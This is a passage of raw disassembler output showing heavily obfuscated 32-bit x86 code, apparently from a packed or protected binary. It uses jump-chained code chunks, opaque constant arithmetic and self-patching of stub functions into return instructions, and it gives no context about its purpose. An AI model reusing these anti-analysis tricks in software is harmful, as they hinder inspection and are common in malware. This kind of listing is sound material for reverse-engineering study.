FUNCTION CHUNK FOR sub_1001564A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001472F: ; CODE XREF: sub_1001537B+7A91j jmp loc_10019EA6 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- loc_10014734: ; CODE XREF: an.kk9rg:1001C93Bj rol ecx, 11h add ecx, 2F5722E1h mov [ecx], eax pop ecx lea eax, nullsub_11 mov byte ptr [eax], 0C3h jmp loc_1001CB92 ; --------------------------------------------------------------------------- call nullsub_160 jmp loc_100185E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10014758: ; CODE XREF: sub_10015B5D:loc_10015B66j jnz loc_1001DB0F loc_1001475E: ; CODE XREF: sub_1001C6B0-82C0j jmp loc_1001AE34 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- jle loc_100190F8 sub esi, 8A8314BBh jmp loc_1001DB0D ; --------------------------------------------------------------------------- loc_10014774: ; CODE XREF: an.kk9rg:100199AEj shr ebx, 17h pushf jmp loc_10018CE7 ; --------------------------------------------------------------------------- byte_1001477D db 9, 0C9h ; DATA XREF: sub_100193F2+384Eo ; --------------------------------------------------------------------------- push offset loc_10019F92 jmp locret_1001955C ; --------------------------------------------------------------------------- test edx, esi jmp loc_100136F9 ; --------------------------------------------------------------------------- loc_10014790: ; CODE XREF: an.kk9rg:1001386Cj jz loc_10014EB2 jmp loc_100198D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016532 loc_1001479B: ; CODE XREF: sub_10016532+17j mov ds:dword_1000200C, eax lea eax, nullsub_8 mov byte ptr [eax], 0C3h jmp nullsub_8 ; END OF FUNCTION CHUNK FOR sub_10016532 ; --------------------------------------------------------------------------- push ebx push 623F4C88h pop ebx xor ebx, 5F93E286h jmp loc_10014F8E ; --------------------------------------------------------------------------- loc_100147C1: ; DATA XREF: an.kk9rg:1001D2EAo push edx call sub_10018330 mov eax, 48EA2DE1h call sub_100181E1 push offset sub_100183D9 jmp locret_1001A5E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145B9 loc_100147DB: ; CODE XREF: sub_100145B9:loc_10014C53j mov eax, [ebp-4] call sub_1001734F ; END OF FUNCTION CHUNK FOR sub_100145B9 ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100147E3: ; CODE XREF: sub_1001504E+28BFj or edx, 4AB478B1h add edx, 0CC9973BDh xor edx, 0E153577Bh add edx, ebp add edx, 6E244E7h mov edx, [edx] imul byte ptr [edx] jmp loc_100198AC ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10014806: ; CODE XREF: sub_10016734+4E9Bj jnz loc_1001B84A jmp loc_100195C0 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- xor ecx, 0B3E654C4h jmp sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001481C: ; CODE XREF: sub_1001BBDA:loc_1001B115j sbb edi, 80FCCD5Dh jmp loc_1001D5F7 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10014827: ; CODE XREF: sub_1001701B+E4Bj push edx call sub_1001AAE3 mov eax, 0DBEEE66Ch push edi push 66D007EBh jmp loc_1001A0D1 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001483D: ; CODE XREF: sub_1001C799:loc_1001389Aj xor edi, 0BC1DCB00h or edi, ds:100000CAh xor edi, 248FEC88h and edi, 6CBA9FA4h add edi, 0CFDF63D9h push offset loc_100187BB jmp nullsub_208 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014865: ; CODE XREF: sub_1001ABFD+2282j cmp al, 0A4h jz loc_1001D0ED jmp loc_1001B9FE ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10014872: ; CODE XREF: sub_10015B5D+161Dj ; an.kk9rg:loc_1001CA60j not edx loc_10014874: ; CODE XREF: sub_10015B5D:loc_1001309Cj push 0F21B4511h pop eax or eax, 0E836928Ah jmp loc_100186DA ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10014885: ; CODE XREF: sub_10013389+3C6Ej pushf push 0C40294BFh pop esi or esi, 0AF7CF7FBh sub esi, 0B11B175Ah or esi, 0CA295D66h add esi, 11955F03h popf jmp loc_1001768D ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100148AB: ; CODE XREF: an.kk9rg:10018C48j jnz loc_10016F7A shl edi, 11h jmp loc_100165F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100148B9: ; CODE XREF: sub_10013389+7Bj push esi loc_100148BA: ; CODE XREF: sub_10013389:loc_10017E0Aj add esi, 6B2A3DC1h rol esi, 1Ch add esi, 0B844DD3Bh call sub_1001C4EB loc_100148CE: ; CODE XREF: an.kk9rg:10017238j test eax, 8 jmp loc_1001A2A2 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cdq jmp sub_1001DB5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100148DF: ; CODE XREF: sub_10013999+202Bj mov edi, eax xchg edi, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_100148E5: ; CODE XREF: sub_10014DD9+4C82j jmp loc_100163CF ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013372 loc_100148EA: ; CODE XREF: sub_10013372+4j jmp sub_10019E2E ; END OF FUNCTION CHUNK FOR sub_10013372 ; --------------------------------------------------------------------------- loc_100148EF: ; CODE XREF: an.kk9rg:1001BBB4j push ebx push ebp pop ebx push offset sub_1001B19B jmp loc_1001C6FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_100148FC: ; CODE XREF: sub_10015988:loc_10016F4Fj cmp al, 0A4h jz loc_10019C7A jmp loc_1001811B ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10014909: ; CODE XREF: sub_100136D7+919Fj jz loc_1001AD36 jmp loc_10015855 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10014914: ; CODE XREF: sub_100175DE:loc_1001DA7Dj add ebx, edi jmp loc_10019A38 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001491B: ; CODE XREF: sub_10016D66:loc_10014F69j ; sub_100175DE:loc_100192FCj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, ecx xchg edi, [esp] jmp loc_10017960 ; =============== S U B R O U T I N E ======================================= sub_1001492C proc near ; CODE XREF: sub_1001590F-20DEp ; an.kk9rg:1001C2FBj arg_C = dword ptr 10h ; FUNCTION CHUNK AT 10013967 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001412B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001471D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100154B2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015500 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015527 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016669 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016747 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 100168E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017487 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018041 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A078 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A571 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001A684 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B03D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D44D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DB55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DF3B SIZE 00000024 BYTES xchg edi, [esp+0] pop edi add eax, edi pop edi mov eax, [eax] popf mov al, [eax] jmp loc_1001B03D sub_1001492C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001493D: ; CODE XREF: sub_10017D86-1AA0j adc ecx, 8F77BEF8h xor eax, 0AAFA9B31h loc_10014949: ; CODE XREF: sub_10017D86:loc_10019518j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10016E57 jmp loc_10015309 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- loc_1001495A: ; CODE XREF: an.kk9rg:loc_10016A5Cj ror ebp, 0Bh sub ebp, 0C3128AC8h jmp loc_10014EBF ; =============== S U B R O U T I N E ======================================= sub_10014968 proc near ; CODE XREF: sub_10019401+3j add esp, 0FFFFFFD8h mov [ebp-20h], eax mov eax, [ebp-20h] push offset loc_10015413 jmp nullsub_44 sub_10014968 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001497B: ; CODE XREF: sub_10017394+Dj or eax, eax jnz loc_1001BA03 jmp loc_1001A92C ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_10014988: ; CODE XREF: an.kk9rg:1001868Aj and esi, ebx ; =============== S U B R O U T I N E ======================================= sub_1001498A proc near ; CODE XREF: sub_1001C77E+9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014088 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100153A6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001592A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016299 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100189E4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100196DD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10019AB9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001AA8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B40A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001CBBA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CCD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D9D1 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001AA8C mov eax, [ebp-14h] jmp loc_10016299 sub_1001498A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_100149A4: ; CODE XREF: sub_10014A76+78B4j jz loc_1001C69D jmp loc_1001349B ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- jmp ds:dword_10002000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100149B5: ; CODE XREF: sub_1001A97E-40AFj jmp loc_1001CFA6 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100149BA: ; CODE XREF: sub_10019409-60C0j jmp loc_1001B068 ; END OF FUNCTION CHUNK FOR sub_10019409 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jz loc_10014AC3 mov eax, [esp] push edx call sub_10016802 mov eax, 0CE6B079Ah call sub_100181E1 jmp loc_10014AAF ; --------------------------------------------------------------------------- loc_100149DE: ; CODE XREF: an.kk9rg:10019E96j ror esi, 3 ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100149E1: ; CODE XREF: sub_10013061:loc_10019E8Aj add edx, 93E45F25h xor edx, 0FE1148DBh loc_100149ED: ; CODE XREF: an.kk9rg:loc_1001DC0Aj add edx, ebp add edx, 9406125Eh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013836 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- popf jmp sub_10015E3A ; =============== S U B R O U T I N E ======================================= sub_10014A06 proc near ; CODE XREF: an.kk9rg:10017201j ; sub_1001DAA8+7p ; FUNCTION CHUNK AT 1001462E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016110 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100179AA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018DFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B2AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C457 SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx pop ebp push 4C30B89Eh jmp loc_10016110 sub_10014A06 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl ecx, 1Ah jmp sub_1001B5A3 ; --------------------------------------------------------------------------- loc_10014A1D: ; CODE XREF: an.kk9rg:1001DD0Aj jnz loc_10016202 jmp loc_10019A18 ; --------------------------------------------------------------------------- loc_10014A28: ; CODE XREF: an.kk9rg:loc_10014AE4j jnz loc_10016304 ror ebp, 1Bh jmp loc_10016302 ; --------------------------------------------------------------------------- mov ds:dword_10002028, eax lea eax, nullsub_168 mov byte ptr [eax], 0C3h jmp loc_1001B2AF ; --------------------------------------------------------------------------- loc_10014A4A: ; CODE XREF: an.kk9rg:100190DDj call sub_10016323 loc_10014A4F: ; CODE XREF: an.kk9rg:loc_100137B8j jmp loc_1001C238 ; --------------------------------------------------------------------------- loc_10014A54: ; CODE XREF: an.kk9rg:1001328Fj jmp loc_10017AD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_10014A5A: ; CODE XREF: sub_10019E17:loc_1001829Ej inc dword ptr [ebp-8] loc_10014A5D: ; CODE XREF: sub_10019E17:loc_100174BBj ; sub_10019E17+78Ej mov eax, [ebp-8] pop ecx pop ecx jmp loc_1001539C ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10014A67: ; CODE XREF: sub_1001564A:loc_1001A180j imul byte ptr [edx] cmp al, 0A4h jz loc_100158DB jmp loc_1001ABA9 ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_10014A76 proc near ; CODE XREF: an.kk9rg:100166B2j ; sub_10013389+9FDFp ; FUNCTION CHUNK AT 100149A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001826E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B00C SIZE 00000004 BYTES ; FUNCTION CHUNK AT 1001C31E SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx xor eax, 0FE1CD21Dh add eax, ebp add eax, 24BCA205h mov eax, [eax] popf jmp loc_1001826E sub_10014A76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10014A90: ; CODE XREF: sub_10016167+48A9j mov edx, [ebp+0] jns loc_10013BC5 rol edi, 4 ror ebp, 9 jmp loc_10016BAA ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_10014AA4: ; CODE XREF: an.kk9rg:10016208j jnz loc_1001CB7A jmp loc_100158C1 ; --------------------------------------------------------------------------- loc_10014AAF: ; CODE XREF: an.kk9rg:100149D9j mov ds:dword_10002000, eax lea eax, nullsub_218 mov byte ptr [eax], 0C3h jmp nullsub_218 ; --------------------------------------------------------------------------- loc_10014AC3: ; CODE XREF: an.kk9rg:100149C0j mov eax, [esp] push edx call sub_10016802 mov eax, 0CE6B079Ah jmp loc_10017D30 ; --------------------------------------------------------------------------- not esi jnz loc_10019D52 jmp sub_1001C2A9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014AE4: ; CODE XREF: an.kk9rg:1001AF42j jmp loc_10014A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10014AE9: ; CODE XREF: sub_1001456F+6895j jz loc_1001DF17 jmp loc_10019584 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10014AF4: ; CODE XREF: sub_100193F2:loc_1001892Fj jz loc_1001D07F loc_10014AFA: ; CODE XREF: sub_100193F2:loc_1001322Ej ; sub_100193F2+3844j jno loc_10019FA5 add edx, 14h mov ecx, [ebx+edx-8] jmp loc_10016E80 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014B0C: ; CODE XREF: sub_10016D66:loc_10019604j add ecx, 377E13E4h mov [ecx], eax pop ecx lea eax, nullsub_7 mov byte ptr [eax], 0C3h jmp loc_10016EFA ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- push esi ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014B24: ; CODE XREF: sub_10016D66:loc_1001466Ej push 27D08ECDh pop esi jmp loc_10013619 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10014B2F: ; CODE XREF: sub_10013389+A71Aj sbb ebx, 3452F42Dh jmp loc_1001D104 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10014B3A proc near ; CODE XREF: an.kk9rg:10014060p ; an.kk9rg:10019B4Fj ; FUNCTION CHUNK AT 1001D40B SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx push edx call sub_10013A6A push 0DE0AB981h pop eax jmp loc_1001D40B sub_10014B3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- jg loc_10017914 sbb ebp, 917B5628h jmp sub_1001AEBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_10014B60: ; CODE XREF: sub_10015E3A:loc_10016A16j and edi, 0E04D5F54h add esi, ebp jmp loc_100158D3 ; END OF FUNCTION CHUNK FOR sub_10015E3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10014B6D: ; CODE XREF: sub_1001D88D:loc_10019BCFj xchg esi, [esp+0] mov ecx, ebp xchg ecx, [esp+0] call sub_1001A51D ; END OF FUNCTION CHUNK FOR sub_1001D88D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10014B7B: ; CODE XREF: sub_10016451+55B5j jmp loc_10013176 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10014B80: ; CODE XREF: sub_100145ED+25CDj jmp loc_10017695 ; END OF FUNCTION CHUNK FOR sub_100145ED ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014B85 proc near ; CODE XREF: sub_100186DF:loc_1001720Cj ; an.kk9rg:1001DE32p ; FUNCTION CHUNK AT 10013B25 SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_100195E8 jmp loc_10013B25 sub_10014B85 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10014B92: ; CODE XREF: sub_100193F2:loc_10018977j jz loc_1001CAE7 jmp loc_1001C32F ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_10014B9D: ; CODE XREF: an.kk9rg:loc_10018A14j rol eax, 1Bh add eax, 0E1AD6C52h call sub_100181E1 push ecx push 0F1B6D823h pop ecx or ecx, 72BDF0B9h jmp loc_100174B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10014BBD: ; CODE XREF: sub_1001558A:loc_10018194j mov [ebp-8], eax loc_10014BC0: ; CODE XREF: sub_1001558A+8643j call sub_100142DD mov [ebp-0Ah], al ; END OF FUNCTION CHUNK FOR sub_1001558A ; START OF FUNCTION CHUNK FOR sub_100142CF loc_10014BC8: ; CODE XREF: sub_100142CF+9j call sub_10013389 loc_10014BCD: ; CODE XREF: sub_10013389+9090j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_100142CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_10014BD2: ; CODE XREF: sub_1001D951-16F6j jmp loc_1001A8FA ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- loc_10014BD7: ; CODE XREF: an.kk9rg:10017742j jmp loc_1001A1A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015743 loc_10014BDC: ; CODE XREF: sub_10015743+1A2Cj jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_10015743 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10014BE1: ; CODE XREF: sub_1001564A-1B6j not ebx push 0ECE09C43h jmp loc_100136A8 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10014BED: ; CODE XREF: sub_1001CF40-13D3j add eax, 0F985344Ah or eax, 169645FEh rol eax, 14h xor eax, 0D6956A3Ch jmp loc_100199CD ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_10014C08: ; CODE XREF: sub_10015469+C97j jmp loc_100158E6 ; END OF FUNCTION CHUNK FOR sub_10015469 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014C0D proc near ; CODE XREF: sub_10013389:loc_10018AA1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015F4F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10016AE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BABA SIZE 00000005 BYTES push ebp mov ebp, esp push edi jmp loc_10016AE0 sub_10014C0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10014C16: ; CODE XREF: sub_10013688+23AEj jz loc_100154C8 jmp loc_10019803 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_10014C21: ; CODE XREF: an.kk9rg:10015E63j push ebx jmp loc_10018E08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10014C27: ; CODE XREF: sub_10019571-27A6j test ecx, 0C63FE12Eh jmp loc_10017C56 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_10014C32: ; CODE XREF: sub_10017EFB+22j jz loc_1001846A loc_10014C38: ; CODE XREF: sub_10017EFB+16j and esi, 0D40D2184h or esi, 0EC3DB4B6h call sub_1001AAB8 loc_10014C49: ; CODE XREF: an.kk9rg:1001D3F4j jmp loc_1001D3B1 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10014C4E: ; CODE XREF: sub_10016B29+1F5Aj jmp loc_10015D75 ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145B9 loc_10014C53: ; CODE XREF: sub_100145B9+Fj jmp loc_100147DB ; END OF FUNCTION CHUNK FOR sub_100145B9 ; --------------------------------------------------------------------------- xchg edx, ebx jmp sub_10016D9F ; --------------------------------------------------------------------------- loc_10014C5F: ; CODE XREF: an.kk9rg:10019E12j pushf test ecx, ebp jmp loc_10019DA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014C67: ; CODE XREF: sub_10017BF9:loc_1001B749j jo loc_10019A71 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001DF17 jmp loc_1001D481 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10014C81: ; CODE XREF: sub_10013310+2993j mov ebp, esi loc_10014C83: ; CODE XREF: sub_10013310:loc_10017151j lea edx, [ebp-14h] mov eax, (offset loc_100181BA+2) push ebp mov ebp, ebx xchg ebp, [esp+1Ch+var_1C] push 0B4BFC33h xchg esi, [esp+20h+var_20] jmp loc_1001B583 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- loc_10014C9E: ; CODE XREF: an.kk9rg:1001AC63j jz loc_10017107 loc_10014CA4: ; CODE XREF: an.kk9rg:loc_100130AEj and ebx, eax jmp sub_1001D201 ; --------------------------------------------------------------------------- loc_10014CAB: ; DATA XREF: an.kk9rg:100189A1o popf push offset loc_1001502A jmp loc_1001BCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10014CB6: ; CODE XREF: sub_1001537B+Bj pop edx and edx, 46469ABDh test edx, 10000000h jmp loc_10019C4A ; END OF FUNCTION CHUNK FOR sub_1001537B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014CC9: ; CODE XREF: an.kk9rg:10014FF1j jmp loc_100179B7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014CCE proc near ; CODE XREF: sub_10018C76-2C44p ; sub_10018C76-2865p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016E70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCA7 SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10016E70 sub_10014CCE endp ; =============== S U B R O U T I N E ======================================= sub_10014CDF proc near ; DATA XREF: an.kk9rg:10018448o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015146 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10015BDC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016616 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100192C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B24C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B94B SIZE 0000000B BYTES mov eax, ds:dword_1001B72C or eax, eax jnz loc_100192C6 jmp loc_1001B94B sub_10014CDF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jns nullsub_36 jmp sub_10018ABA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10014CFE: ; CODE XREF: sub_100136D7+32BEj jnz loc_1001B02C jmp loc_10015261 ; --------------------------------------------------------------------------- loc_10014D09: ; CODE XREF: sub_100136D7:loc_10015855j shl esi, 2 mov [esi], edi add edi, 0F5F6DDBBh popf jmp loc_1001AD33 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10014D1A: ; CODE XREF: an.kk9rg:10019DEDj pop eax or eax, 0B6F6F978h rol eax, 15h and eax, 571CB37h or eax, 0F0F96B75h test eax, 1000000h jmp loc_1001446B ; --------------------------------------------------------------------------- mov ecx, 5ACBAD60h jmp sub_1001C4EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10014D45: ; CODE XREF: sub_10015995:loc_10018013j jz loc_1001A5AA push ebp mov eax, [ebp-20h] call sub_1001C8CE pop ecx mov [ebp-20h], eax jmp loc_1001601E ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- rol edi, 1Ah jmp sub_10015402 ; --------------------------------------------------------------------------- loc_10014D65: ; DATA XREF: an.kk9rg:10015484o push 34A8B751h pop edx or edx, 221C5469h xor edx, 210F36B6h call sub_1001534D push eax jmp loc_10016142 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014D82: ; CODE XREF: sub_10017BF9+2B8Bj sub edx, ebx sub ebx, edi add ebx, 883F4756h jmp loc_100160AE ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_10014D91: ; 